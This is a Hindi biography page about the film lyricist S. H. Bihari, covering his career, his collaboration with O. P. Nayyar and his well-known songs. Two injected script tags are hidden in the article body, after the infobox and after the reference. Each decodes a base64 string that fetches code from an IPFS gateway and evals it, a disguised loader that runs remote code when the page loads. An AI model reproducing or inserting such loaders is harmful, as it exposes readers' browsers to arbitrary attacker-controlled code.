एस. एच. बिहारी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
एस. एच. बिहारी
एस. एच. बिहारी
पूरा नाम शम्शुल हुदा बिहारी
प्रसिद्ध नाम एस. एच. बिहार
जन्म 1922
जन्म भूमि आरा ज़िला, बिहार
मृत्यु 25 फ़रवरी, 1987
कर्म भूमि मुम्बई
कर्म-क्षेत्र सिनेमा
शिक्षा स्नातक
प्रसिद्धि गीतकार के रूप में
नागरिकता भारतीय
प्रसिद्ध गीत न ये चांद होगा, न तारे रहेंगे/मगर हम हमेशा तुम्हारे रहेंगे; तारीफ़ करूं क्या उसकी जिसने तुम्हें बनाया; कजरा मोहब्बत वाला, अखियों में ऐसा डाला
भाषा हिन्दी तथा उर्दू
अन्य जानकारी एस. एच. बिहारी फ़ुटबॉल प्रेमी भी थे। वे फ़ुटबॉल खेलने में इतने अच्छे थे, कि मोहन बगान की टीम के लिये भी चुने गए थे।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शम्शुल हुदा बिहारी (अंग्रेज़ी: Shamsul Huda Bihari, जन्म: 1922, आरा ज़िला, बिहार; मृत्यु: 25 फ़रवरी, 1987) हिन्दी फ़िल्मों के प्रसिद्ध गीतकार थे।1960 के दशक में संगीतकार ओ.पी. नैयर के साथ जुड़कर इन्होंने 'रातों को चोरी-चोरी बोले मोरा कंगना', 'आज कोई प्यार से दिल की बातें कह गया/ मैं तो आगे बढ़ गई, पीछे जमाना रह गया', 'मेरी जान तुम पे सदके एहसान इतना कर दो‘ जैसे सदाबहार गीत फ़िल्मी जगत् को दिए जिसे आज भी याद किया जाता है। इन्होंने हिन्दी तथा उर्दू में रचनाएं भी की हैं।[1]

परिचय

एस. एच. बिहारी का जन्म बिहार के आरा ज़िले में 1922 में हुआ था। उनकी शिक्षा कोलकाता में हुई, जहां उन्होंने प्रेसीडेंसी कॉलेज से बीए की डिग्री हासिल की। वहां वे बंगाली भी सीख गए और पहले से हिंदी और उर्दू तो आती ही थी। उस दौर में वे फ़ुटबॉल खेल में इतने अच्छे थे, कि मोहन बगान की टीम में भी चुने गए।

फ़िल्मी कॅरियर की शुरुआत

एस. एच. बिहारी 1947 में बंबई पहुंच गए, जहाँ उनके भाई रहते थे। काफ़ी मशक्कत करने के बाद उन्हें वहाँ काम मिला। एस. एच. बिहारी भले ही सीधे सादे से दिखने वाले थे लेकिन उनमें कई ऐसे गुण थे जो उन्हें दूसरों से अलग पहचान दिलाते थे। 1950 में फ़िल्म आई ’दिलरूबा‘ और इसका एक गीत था ’हटो-हटो जी आते हैं हम‘। बस यहीं से इनकी फ़िल्मी कॅरियर की शुरुआत हुई लेकिन न ही यह गीत लोगों की जुबान पर चढ़ सका और न ही किसी की नजर में, लेकिन इसी साल आई फ़िल्म ’निर्दोष‘ और इसके बाद ’बेदर्दी‘, ’खूबसूरत‘, ’निशान डंका‘ और 1953 में ’रंगीला‘ में भी इन्होंने इक्का-दुक्का गीत लिखें जो लोगों की जुबां पर छाने में नाकाम रहे।

1954 में आई फ़िल्म ’शर्त‘ जिसका निर्माण किया था शशिधर मुखर्जी ने, इसमें संगीत था हेमंत कुमार का और गीत लिखे थे एस.एच. बिहारी और राजेंद्र कृष्ण ने। इसका गाना 'न ये चांद होगा, न तारे रहेंगे/मगर हम हमेशा तुम्हारे रहेंगे' जबर्दस्त हिट रहा। 1954 से 1957 के बीच आई फ़िल्म 'डाकू की लड़की', 'बहू', 'अरब का सौदागर', 'एक झलक' और 'यहूदी की लड़की' में इन्होंने गीत लिखा।

ओ.पी. नैयर से मुलाकात

एस. एच. बिहारी 1960 के दशक में संगीतकार ओ.पी. नैयर के साथ जुड़ गए और उसके बाद एक से एक बेहतरीन गीत उन्होंने दिए। नैयर साहब उन्हें "शायर-ए-आजम" कहा करते थे। दोनों ने मिलकर 'रातों को चोरी-चोरी बोले मोरा कंगना', 'आज कोई प्यार से दिल की बातें कह गया/ मैं तो आगे बढ़ गई, पीछे जमाना रह गया', 'मेरी जान तुम पे सदके एहसान इतना कर दो‘ जैसे सदाबहार गीत फ़िल्मी जगत् को दिए जिसे आज भी याद किया जाता है।

फिर आशा भोंसले और मोहम्मद रफ़ी ने अपनी पुरकशिश आवाज से इनकी गीतों को अमर करने का काम किया। 1971 में रिलीज हुई फ़िल्म 'बीस साल पहले' जिसका गीत 'भूल जा तू वो फसाने, कल के गुजरे जमाने' आज भी लोग याद करते हैं। 'कश्मीर की कली' का गीत 'तारीफ़ करूं क्या उसकी जिसने तुम्हें बनाया‘ या फिर 'किस्मत' का गीत 'कजरा मोहब्बत वाला, अखियों में ऐसा डाला' आज भी गुनगुनाए और सुने जाते हैं। बिहारी ने संगीतकार श्यामसुंदर, शंकर-जयकिशन और मदन मोहन के साथ काम किया तो लक्ष्मीकांत-प्यारेलाल और बप्पी लाहिड़ी के लिए भी गीत लिखे।

प्रसिद्ध गीत

एस. एच. बिहारी द्वारा लिखे गये कुछ प्रसिद्ध गीत जो आज भी गुनगुनाए और सुने जाते हैं-

  • न ये चांद होगा, न तारे रहेंगे/मगर हम हमेशा तुम्हारे रहेंगे
  • रातों को चोरी-चोरी बोले मोरा कंगना
  • आज कोई प्यार से दिल की बातें कह गया/ मै तो आगे बढ़ गई, पीछे जमाना रह गया
  • मेरी जान तुम पे सदके एहसान इतना कर दो
  • भूल जा तू वो फसाने, कल के गुजरे जमाने
  • तारीफ़ करूं क्या उसकी जिसने तुम्हें बनाया
  • कजरा मोहब्बत वाला, अखियों में ऐसा डाला

व्यक्तित्व

एस. एच. बिहारी न तो साहिर की तरह विद्रोही थे और न शकील की तरह जज्बाती। उनका व्यवहार तो शैलेंद्र की तरह था जो सर्वहारा वर्ग का प्रतिनिधित्व करता था और न ही मजरूह की भांति जिन्होंने शोख नगमे ही दिए। उनका मानना था जिस तरह जिंदगी में मुश्किलात है वैसी ही हालत फ़िल्मी दुनिया की भी है। एच. एस. बिहारी को लिखने-पढ़ने और शायरी का शौक भी था।

निधन

एस. एच. बिहारी की 25 फ़रवरी, 1987 को हार्ट अटैक होने से मौत हो गई और वह सदा के लिए अलविदा कह गए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदंर्भ

  1. VINIT UTPAL/विनीत उत्पल (हिंदी) vinitutpal.blogspot.in। अभिगमन तिथि: 19 मई, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख